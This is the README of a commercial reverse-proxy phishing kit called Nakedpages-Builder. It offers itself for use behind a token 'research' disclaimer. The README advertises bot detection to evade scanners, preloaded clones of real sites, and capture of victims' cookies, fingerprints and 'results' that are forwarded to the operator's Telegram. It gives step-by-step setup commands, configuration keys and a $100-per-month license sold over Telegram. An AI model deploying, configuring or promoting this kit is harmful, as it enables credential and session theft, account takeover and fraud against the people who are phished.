Disclaimer: nakedpages
and all its modules
was created for research purpose only. By using this software you agree that you take full responsibility for whaever use case, and the developer @nakedpages has no responsibility for any action/repercussion from using nakedpages
Nakedpages-Builder allows you to run a battle tested and experienced phishing app in nodesJS, using a few lines of autogenerated JS code, Configuration for each project are written in Plain Javascript thus making everything and anything possible also giving you access to low level access to request/response object without making changes nkp.app
which is the binary the whole platform runs on.
project are configurations made up of a directory, main.js inside the direcotry, and any other file you wish to include, the directory name is the project name"
- Fully Integrated and battle tested antibot DB integrated, detects all kinds of bots in over 120 countries
- One click setup and launch with command
bash setup/sh
- Auto Ready-made Project Generation with 0 lines of code with command
node generate-project.js
- Auto SSL and domain configuration with
bash change-domain.sh
script - Strong Session AUTH with Fingerprints and Cookies, Database Storage with mongodb
- Support Also Rendering PHP files, also passing data from php to reverse proxy and vice versa
- Results, Cookies and User Fingerprint is sent to Teleram configure your Telegram user id in
config.env
- Manually deliver results, decode response, add cookies, filter user and a whole lot more from the user Js config
- Thanks to JS project configuration, you can access the request/response and also clientContext object for your use case
- Comes preloaded with many sites projects you can find them in
./projects
- Unlike other reverse proxy apps, this is real life tested to handle multiple traffics
- One click Support for working in local enviroment with mkcert
- Put your assets inside the executable to make it even more portable
- Configurations of product are made in JS (everyone loves javascript)
git clone https://github.com/nakedpages/nakedPages-Builder
# clone repository
./setup.sh
# answe the 2-3 questions, pick a ready made configuration, after that it will print your full app url
Chmod 755 nkp.app
# Change mode of the binary
npm run start
# And your app should be live and ready to accept traffi
You can access the app using https://domain-you-choose.com/?SRC_KEY
SRC_KEY you can find in config.env
./setup.sh
Initial setup to install necesssary files and create neccessary configuration.
node setup-user.sh
To setup User configuration in config.env
auto called by setup.sh
.
bash change-domain.sh
Changes the domain to a new domain and setup SSL with certbot.
NOTE: A record of your server IP must be pointed to the domain else ssl will fail and domain change will not occur
bash setup-local-ssl.sh
Configures SSL and domain for localhost and dev enviroment.
You can then access the page via https://localhost/?SRC_KEY, You can find SRC_KEY value in config.env
node new-project.js
Creates a new project from template, After Creating edit config.env and set CURRENT_PROJECT to the new created project name.
NOTE: By default you donot need to make any more configuratio, the newly created project should work perfect for most sites
node activate-license.js
To activate the nkp.app
file.
While the NKP.APP is Free to USE, a license is needed to regulate its usage, Contact Telegram @nakedpages_admin for license key(COSt 100$ for 30Days)
config.env
User Configuraion, Auto Generated by setup-user.js
- BOT_REDIRECT: Location to redirect BOTS default is auto set
- CURRENT_PROJECT: The project you wish to use
- TELEGRAM_USER_ID: Your numeric uSERID for Telegram to send results, cookies to
- SRC_KEY: Site key to attach at the bank of the url, as the entrance url
- GATE_KEY: Antibot KEY, default is used
- GLOBAL_AGENT_HTTP_PROXY: If you wish to enable proxy
.env
nkp.app
Configuration, Auto Generated by setup.sh
DONOT EDIT EXCEPT YOU KNOW WHAT YOU ARE DOING
- HOST_IP: Current server ip {Auto Generated}
- MONGODB_URI: Mongodb URL and path {Auto Generated}
- HOST_PORT: Port Default 80 {Auto Generated}
- TDS_URL: Url for Antibot {Auto Generated}
- MANAGER_ID: ID of the current user default: betaman {Auto Generated}
- AUTO_DIR: Directory of auto files {Auto Generated}
- ENV: Enviroment, DEVELOPMENT for localhost, PRODUCTION for live servers {Auto Generated} {Auto Generated}
- RAW_COOKIES: If you donot want your cookies parsed {Auto Generated}
- SUBDOMAIN_CHAR: Character for recognizing subdomains and extern urls in paths {Auto Generated}
- LOG_FILE: Log file {Auto Generated}
- DEBUG_FILE: Debug file {Auto Generated}
- USER_CONFIG: User Configuration file {Auto Generated}
Directory ./projects
contain different direcory configuration for different websites
In each subdirecoty you will find .main.js
which is the js file for that project.
When starting The nkp.app
searches for ./projects/CURRENT_PROJECT/main.js
where CURRENT_PROJECT is the project name you set in config.env
Documentation for creating, editing and managing configuration can be found here ConfigDoc.md.